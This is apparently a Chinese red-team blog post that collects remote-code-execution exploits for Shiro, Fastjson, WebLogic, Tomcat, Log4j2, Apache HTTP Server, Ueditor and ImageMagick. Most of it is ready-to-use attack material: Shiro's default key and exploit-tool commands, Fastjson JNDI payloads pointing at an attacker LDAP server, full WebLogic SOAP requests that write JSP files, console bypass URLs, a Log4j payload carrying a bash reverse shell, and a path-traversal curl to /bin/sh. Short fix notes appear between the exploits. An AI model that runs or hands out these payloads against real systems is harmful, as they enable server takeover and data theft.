Web攻防

常见红队RCE漏洞利用小结

2022-06-23  本文已影响0人  book4yi

Shiro:


Apache Shiro是常见的Java安全框架,执行身份验证、授权、密码和会话管理。

历史维度:

Shiro <= 1.2.4 :存在shiro-550反序列化漏洞;
1.2.5 <= Shiro < 1.4.2 :存在shiro-721反序列化漏洞;
Shiro > = 1.4.2 :如果用户使用弱密钥(互联网已公开/已泄露),即使升级至最新版本,仍然存在反序列化漏洞入口。

Apache shiro 1.2.4反序列化漏洞(CVE-2016-4437)


漏洞成因:

Apache Shiro框架提供了记住我的功能(RemeberMe),用户登录成功后会生成经过加密并编码的cookie。Shiro会对cookie中的Remember me字段进行相关处理:序列化-->AES加密-->base64编码

在服务端接收cookie值后,Base64解码-->AES解密-->反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化-->AES加密-->Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

由于Shiro本身含有一个预设的AES密钥Base64.decode("KPHblxk5D2deZilxcaaaA=="),新版本到Shiro 1.2.5及以上版本,就不存在硬编码密钥的问题,而改为自定义密钥。

漏洞指纹:

在请求包的Cookie中为remeberMe字段赋任意值,比如:rememberMe=1
返回包中存在:Set-Cookie: rememberMe=deleteMe
补充:这个默认字段的命名是可以修改的,Shiro支持在rememberMe管理器中自定义名称,可以通过在配置文件进行配置

漏洞复现:

python shiro-exploit.py echo -k kPH+bIxk5D2deZiIxcaaaA== -g CommonsCollectionsK1 -c "id"
image.png

修复方案:

  1. 前往官网将shiro更新至最新版本
  2. 更换shiro组件中的AES密钥,不要使用网上已公开的密钥,使用shiro官方提供的方法随机生成自己的密钥,并妥善保管好该密钥
  3. 过滤cookie中较长的rememberMe

Shiro-721 反序列化漏洞(CVE-2019-12422)


漏洞简介:

rememberMe cookie通过AES-128-CBC模式进行加密,这个CBC加密方式存在一个 Padding Oracle Attack( 填充 Oracle 攻击 ),可以通过爆破获取到所有的明文值,可以得到明文和密文值,通过改变密文值(rememberMe字段),从而达到经过服务器端AES解密后的明文值存在我们的恶意序列化数据,进行反序列化攻击,最终导致任意代码的执行。

具体方式:

通过Padding Oracle加密生成的攻击代码来重新构造一个恶意的rememberMe字段,重新请求网站,根据服务端对于AES解密成功与否的反馈提示,进行暴力猜解获取加密所需的数据

利用条件:

  1. Apache Shiro <= 1.4.1
  2. 目标环境存在反序列化漏洞利用链。
  3. 合法的登录账号,利用账号正常登陆获取一个有效的rememberMe cookie(AES解密失败”和“AES解密成功但认证失败”这两种情况服务端反馈是一样的)

适用场景:

目标存在shiro反序列化利用链但未使用默认AES密钥,可根据任一合法的rememberMe值通过PaddingOracle Attack获取AES加密所需的数据。从而实现远程代码执行。

漏洞利用:

  1. 登录 Shiro 测试账户获取合法 Cookie(勾选Remember Me):
  2. 使用Java反序列化工具 ysoserial 生成 Payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ping 9rtmxe.ceye.io" > payload.class
  1. 通过 Padding Oracle Attack 生成 Evil Rememberme cookie:
Usage: shiro_exp.py <url> <somecookie value> payload.class

注意:每运行一次EXP脚本,将消耗5G以上的物理存储

  1. 使用Evil Rememberme cookie 认证进行反序列化攻击:

注意:需要使JSESSIONID失效或者将cookie中的JSESSIONID字段删除才能触发反序列化

补充:

一键化利用工具:ShiroExploit.V2.51

shiro rememberMe 在线加解密:

Fastjson:


fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

Fastjson反序列化漏洞:

漏洞简介:

Fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性,允许用户在反序列化数据中通过“@type”指定反序列化的类型。Fastjson autotype在处理json对象时,未对@type字段进行安全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

漏洞历史:

  • 1.2.24及之前没有任何防御,并且autotype默认开启
  • 1.2.25开始默认关闭了autotype支持,并且加入了checkAutotype,加入了黑名单+白名单来防御autotype开启的情况。在1.2.48之前的版本中,可以利用特殊构造的json字符串绕过白名单检测。
  • 在1.2.48到最新版本1.2.68之间,都是增加黑名单类。
  • 在1.2.68及之后的版本,fastjson增加了safeMode的支持。safeMode打开后,完全禁用autoType。只要设置@type类型,想反序列化指定类对象的时候,就会抛异常。

Fastjson1.2.24 反序列化漏洞(CVE-2017-18349):

Fastjson1.2.47 反序列化漏洞(CNVD‐2019‐22238):


Fastjson组件探测:

  1. 利用dnslog探测:

目前fastjson探测比较通用的就是dnslog方式去探测,其中Inet4Address、Inet6Address直到1.2.67都可用,收集互联网上公开的Payload:

{"rand1": {"@type":"java.net.InetAddress", "val": "dnslog"}}
{"rand2": {"@type": "java.net.Inet4Address", "val": "dnslog"}}
{"rand3": {"@type":"java.net.Inet6Address", "val": "dnslog"}}
{"rand4":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}
{"rand5":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}}
{"rand6":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}
{"rand7":Set[{"@type":"java.net.URL","val":"http://dnslog"}

当发现数据包中的请求类型为json格式或者参数值为json格式时注入如上payload:

  1. 利用报错信息:

尝试构造畸形的json数据使之报错,比如不进行闭合花括号或者参数值修改为其他类型,在报错内容中检测是否含有fastjson

  1. 延时判断:(适用于服务器不出网)

Fastjson反序列漏洞利用过程存在java版本限制:

  • 基于rmi的利用方式:
    适用jdk版本:JDK 6u141, JDK 7u131, JDK 8u121之前。
    在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。
  • 基于ldap的利用方式:
    适用jdk版本:JDK 11.0.1、8u182、7u191、6u201之前。
    在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。

当目标服务器的JDK环境在上述范围之内时,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl利用链结合JNDI注入执行远程命令

可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。

漏洞利用:

  1. 启动 JNDI-Injection-Exploit:

-C:远程class文件中要执行的命令。 -A:指向服务端地址

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/88888" -A 192.168.107.155
  1. 构造恶意请求发送至服务器:

    {"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.107.155:1389/cdop21","autoCommit":true}}
    
  1. 成功创建文件:

补充:

从1.2.25开始,fastjson默认关闭了autotype,并且加入了checkAutotype检测机制
设置了黑名单,如果ClassName命中黑名单,程序则直接抛出异常:
autoType is not support.

在1.2.68引入了safemode,打开safemode时,@type这个specialkey完全无用,无论白名单和黑名单,都不支持autoType了。

项目地址:https://github.com/wyzxxz/jndi_tool

1、启动LDAP服务,1389为LDAP服务的端口,后面跟的是所要执行的命令:

java -cp jndi_tool.jar jndi.HLDAPServer 192.168.107.170 1389 "curl 659kc0z962nh5natgweh29p1csii67.burpcollaborator.net"

2、构造请求包发送给服务器:

{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.107.170:1389/Object","autoCommit":true}}

工具推荐:

https://github.com/zilong3033/fastjsonScan:支持fastjson<=1.2.24和1.2.33<=fatjson<=1.2.47的不出网检测方案
https://github.com/pmiaowu/BurpFastJsonScan:支持自定义扫描类型设置

Weblogic:


WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架 构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库 应用的Java应用服务器。

指纹识别:

  1. nmap:
  1. 404/403页面:

XMLDecoder反序列化漏洞(CVE-2017-3506):


Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

在/wls-wsat/CoordinatorPortType(POST)处构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.107.169:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: text/xml
Content-Length: 547
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
 <soapenv:Header>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java>
 <object class="java.io.PrintWriter">
 <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test1.jsp</string>
 <void method="println">
 <string>
 <![CDATA[
 <% out.print("test hello"); %>
 ]]>
 </string>
 </void>
 <void method="close"/>
 </object>
 </java>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body/>
</soapenv:Envelope>

在标签之间分别写存放jsp的路径和要写入的shell

Weblogic_wls-wsat_XMLDecoder反序列化漏洞(CVE-2017-10271):


在CVE-2017-3506之前,不对payload进行验证,使用object tag可以RCE,它的补丁添加了validate方法,在解析xml时,Element字段出现object tag就抛出运行时异常,但这次防护力度不够,导 致了CVE-2017-10271,利用方式类似,使用了void tag进行RCE。

影响版本:

10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0

只要在wls-wsat包中的Uri都受影响,可以在web.xml中查看所有受影响的Uri:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wls-wsat\54p17w\war\WEB-INF\web.xml

默认受到影响的Uri:

/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11

漏洞利用:

需求在请求类型中设置为text/xml,否则可能导致XMLDecoder不解析:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.107.169:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: text/xml
Content-Length: 596
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
 <soapenv:Header>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java><java version="1.4.0" class="java.beans.XMLDecoder">
 <object class="java.io.PrintWriter"> 
 <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
 <void method="println">
<string>
 <![CDATA[
<% out.print("hello"); %>
 ]]>
 </string>
 </void>
 <void method="close"/>
 </object></java></java>
 </work:WorkContext>
 </soapenv:Header>
 <soapenv:Body/>
</soapenv:Envelope>

修复建议:

(1)下载Oracle推送补丁,下载地址如下:
http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html
(2)根据实际环境路径,删除WebLogicwls-wsat组件;删除相关文件后重启weblogic,保证访问wls-wsat提示404错误。

Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628):


Weblogic 默认开启 T3 协议,攻击者可利用T3协议进行反序列化漏洞实现远程代码执行,未授权的用户在远程服务器执行任意命令。

影响版本:

10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3

漏洞利用:
1、首先下载ysoserial:https://github.com/brianwrf/ysoserial/releases/download/0.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

启动一个JRMP Server:

java -cp ysoserial-0.0.6-snapshot-beta-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "ping c4h16uhby742u4pvohhu7ue2ftlj98.burpcollaborator.net"

2、使用exploit.py脚本,向目标Weblogic(http://your-ip:7001)发送数据包:

python2 exploit.py 192.168.107.170 7001 ysoserial-0.0.6-snapshot-beta-all.jar 192.168.107.129 1099 JRMPClient

成功执行命令:

利用技巧:
T3 协议通常开放在内网, 外网基本绝迹, 快速检测可以使用nmap:

nmap -Pn -sV --script=weblogic-t3-info -p 7001 192.168.107.170

修复建议:

1、过滤T3协议,连接筛选器选择,保存后重启即可。
2、禁止T3端口对外开放, 或者限制可访问T3端口的IP来源
3、禁用IIOP协议,可以查看下面官方文章进行关闭IIOP协议。
https://docs.oracle.com/middleware/1213/wls/WLACH/taskhelp/channels/EnableAndConfigureIIOP.html

wls-wsat反序列化漏洞(CVE-2019-2725):


该漏洞存在于wls9-async组件,该组件为异步通讯服务,攻击者可以在/_async/AsyncResponseService路径下传入恶意的xml格式的数据,传入的数据在服务器端反序列化时,执行其中的恶意代码,实现远程命令执行,攻击者可以进而获得整台服务器的权限。

漏洞触发点:

bea_wls9_async_response.war、wsat.war

影响版本:

Oracle WebLogic Server 10.* 、Oracle WebLogic Server 12.1.3

较上一个漏洞CVE-2017-10271补丁而言,官方新增了对 class元素的过滤,并且array元素的length属性转换为整形后不得大于10000。本次漏洞利用某个元素成功替换了补丁所限制的元素,再次绕过了补丁黑名单策略,最终造成远程命令执行

访问以下目录中的一种,如下图所示则漏洞:

/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https

只要在bea_wls9_async_response包中的Uri都受影响,可以在web.xml中查看所有受影响的Uri,路径如下:Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\WEB-INF\web.xml

漏洞利用:

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.107.170:7001
Cache-Control: no-cache
Connection: Close
Content-Type: text/xml; Charset=UTF-8
Accept: */*
Referer: http://www.baidu.com/
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3
Content-Length: 1158

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">  
  <soapenv:Header> 
    <wsa:Action>log</wsa:Action>
    <wsa:RelatesTo>log</wsa:RelatesTo>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java class="java.beans.XMLDecoder"> 
        <object class="java.lang.Runtime" method="getRuntime"> 
          <void method="exec"> 
            <array class="java.lang.String" length="3"> 
              <void index="0"> 
                <string>c:\windows\system32\cmd.exe</string> 
              </void>  
              <void index="1"> 
                <string>/c</string> 
              </void>  
              <void index="2"> 
                <string>cd > ./servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/access123.log</string> 
              </void> 
            </array> 
          </void> 
        </object> 
      </java>    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body>
    <asy:onAsyncDelivery/>
  </soapenv:Body>
</soapenv:Envelope>

Weblogic ConSole HTTP 协议代码执行漏洞(CVE-2020-14882/14883):


此处漏洞均存在于WebLogic的控制台中。该组件为WebLogic全版本自带组件,并且该漏洞通过HTTP协议进行利用,CVE-2020-14882漏洞允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。

受影响的版本:

10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

在正常访问console后台时会提示输入帐号密码,访问以下URL,即可未授权访问到管理后台页面:/console/css/%252e%252e%252fconsole.portal

此时的权限很低,并不能在后台安装应用,所以需要结合CVE-2020-14883漏洞

漏洞利用:

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6没有类
com.tangosol.coherence.mvel2.sh.ShellSession

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
                           http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>cmd</value>
                <value>/c</value>
                <value><![CDATA[ping xxxx.dnslog.cn]]></value>
            </list>
        </constructor-arg>
    </bean>
</beans>

POC:/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.107.129/evil.xml")

修复建议:

1、及时下载官方补丁进行升级修复:https://www.oracle.com/security-alerts/cpuoct2020.html
2、关闭后台/console/console.portal的访问权限。
3、修改后台默认地址。

Weblogic IIOP 反序列化漏洞(CVE-2020-2551):


该漏洞原理上类似于RMI反序列化漏洞(CVE-2017-3241),和之前的T3协议所引发的一系列反序列化漏洞也很相似,都是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,并没有进行安全检查所导致的。

影响版本:

10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0

漏洞利用需要利用以下四个文件:

exp.class
exp.java
marshalsec-0.0.3-SNAPSHOT-all.jar
weblogic_CVE_2020_2551.jar/weblogic20202551.jar

exp.java源代码:

import java.io.IOException;
public class exp {
    static{
        try {
            java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        
    }
}

漏洞利用:

  1. 在exp.java中修改执行的命令,编译生成exp.class
javac exp.java -source 1.7 -target 1.7

注意:编译class尽量使用和weblogic相同的jdk版本,特别是10.3.6.0版本,如果高于次版本会执行失败(低版本的 JDK 不兼容高版本的 JDK )

  1. 用python启动一个web服务,该目录下存在exp.class文件:
python -m SimpleHTTPServer 80
python3 -m http.server 80
  1. 使用marshalsec起一个恶意的RMI服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.107.129/#exp" 1099
  1. 利用漏洞攻击使目标弹出计算器:
java -jar weblogic20202551.jar 192.168.107.156 7001 rmi://192.168.107.129:1099/exp

修复建议:

  1. 通过 weblogic 控制台进行关闭 IIOP 协议,然后重新启动 weblogic服务。
  2. 安装 weblogic 修复补丁,进行修复。

Weblogic Server远程代码执行(CVE-2021-2109 ):


攻击者可通过LDAP协议方式实现JNDI注入攻击,加载远程CodeBase下的恶意类,最后达到远程代码执行。该漏洞利用需要身份验证。

影响版本:

Weblogic Server 10.3.6.0.0
Weblogic Server 12.1.3.0.0
Weblogic Server 12.2.1.3.0
Weblogic Server 12.2.1.4.0
Weblogic Server 14.1.1.0.0

利用 JNDI 注入工具生成payload:

https://github.com/welk1n/JNDI-Injection-Exploit

漏洞利用:
1、远程服务器启动JNDI Server:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 192.168.107.129

2、构造恶意的HTTP数据包发送给服务器:

服务端接收到payload,执行:

可以结合CVE-2020-14882权限绕过漏洞,删除cookie,重新构造数据包

POST /console/css/%252e%252e/consolejndi.portal HTTP/1.1
Host: 192.168.107.156:7001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 165

_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.107;129:1389/ofgguk;AdminServer%22)

修复建议:

1.升级Weblogic Server运行环境的JDK版本
2.禁用T3协议, 进入Weblogic控制台,在base_domain配置页点击“安全”选项卡 -> “筛选器”,配置筛选器,在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则框中输入:* * 7001 deny t3 t3s
3.使用Weblogic Server官方提供的安全补丁进行修复,https://www.oracle.com/security-alerts/cpujan2021.html
4.临时关闭后台/console/console.portal对外访问
5.禁止启用IIOP,登陆Weblogic控制台,找到启用IIOP选项,取消勾选并重启

漏洞测试:

访问以下路径,如果出现未授权访问的情况,证明可以利用:

/console/css/%252e%252e%252f/consolejndi.portal

Weblogic反序列化漏洞(CVE-2021-2394):


攻击者可以在未授权的情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击。成功利用该漏洞的攻击者可以接管WebLogic Server。

这是一个二次反序列化漏洞,是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。

影响版本:

Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0

靶机环境:vulhub里的CVE-2020-14882
漏洞利用:
1、启动一个ldap服务:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C [执行的命令] -A [开启ldap服务的vps]

2、发起攻击:

java -jar CVE_2021_2394.jar [被攻击者IP] [端口] [生成的ldap服务,jdk7\jdk8都可以]
java -jar CVE_2021_2394.jar 192.168.107.129 7001 ldap://192.168.107.155:1389/qt2ogj

修复建议:

当前官方已发布受影响版本的对应补丁,建议受影响的用户及时更新官方的安全补丁。链接如下:https://www.oracle.com/security-alerts/cpuapr2021.html

中间件相关:

Tomcat:

利用条件:

Windows+Tomcat 7.0.x+配置文件readonly=false

影响版本:

Apache Tomcat 7.0.0 - 7.0.81

PUT /123.txt/ HTTP/1.1
Host: 192.168.107.129:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Connection: close
Content-Length: 12

just test!

PUT /1.jsp%20 HTTP/1.1
PUT /1.jsp::$DATA HTTP/1.1
PUT /1.jsp/ HTTP/1.1(适合Windows系统及Linux系统,覆盖了Tomcat 5.x-9.x)

Apache:

Apache Log4j2 是一款开源的 Java 日志记录工具,它存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。

影响范围:

Log4j 2.x <= 2.15.0-rc1

靶机环境搭建:

docker pull vulfocus/log4j2-rce-2021-12-09
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09

漏洞探测:

web应用程序有可能会将以下数据进行日志记录,从而触发漏洞:RefererUser-AgentIPCookie用户名/密码

POC:?payload=${jndi:ldap://xxxxx.com/test}

漏洞利用:

1、攻击者启动JNDI服务

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i Attacker-ip

2、对想要执行的命令进行base64编码,对base64编码后还存在特殊字符的,还需要对特殊字符进行两次url编码(比如=进行两次url编码为%253d

bash -i >& /dev/tcp/192.168.107.155/8888 0>&1 --> YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjEwNy4xNTUvODg4OCAwPiYx
?payload=${jndi:ldap://192.168.107.155:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEwNy4xNTUvODg4OCAwPiYx}

3、构造恶意请求发送给服务器:

成功执行系统命令,反弹shell到攻击者服务器:

由于对CVE-2021-41773的修复不充分,攻击者可以使用路径遍历攻击,将URL映射到由类似别名的指令配置的目录之外的文件,如果这些目录外的文件没有受到默认配置"require all denied "的保护,则这些恶意请求就会成功。如果还为这些别名路径启用了 CGI 脚本,则能够导致远程代码执行。

影响范围

Apache HTTP Server 2.4.49
Apache HTTP Server 2.4.50

curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

编辑器相关:


百度Ueditor编辑器 NET版本任意文件上传:详情参考:百度Ueditor编辑器漏洞总结

该任意文件上传漏洞存在于1.4.3.3、1.5.0和1.3.6版本中,并且只有.NET版本受该漏洞影响。黑客可以利用该漏洞上传木马文件,执行命令控制服务器。

FCKeditor上传漏洞: 详情参考:红队必备手册 - 编辑器漏洞手册

其他补充:

ImageMagick 命令执行漏洞(CVE-2016-3714):

ImageMagick 是一款开源图片处理库,支持PHP、Ruby、NodeJS和Python等多种语言,使用非常广泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多个图片处理插件都依赖它运行。

漏洞成因:

使用 system() 指令调用来处理 HTTPS 请求,而对用户传入的 shell 参数没有做好过滤,导致能注入任意指令执行。

POC:

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"| command")'
pop graphic-context
上一篇下一篇

猜你喜欢

热点阅读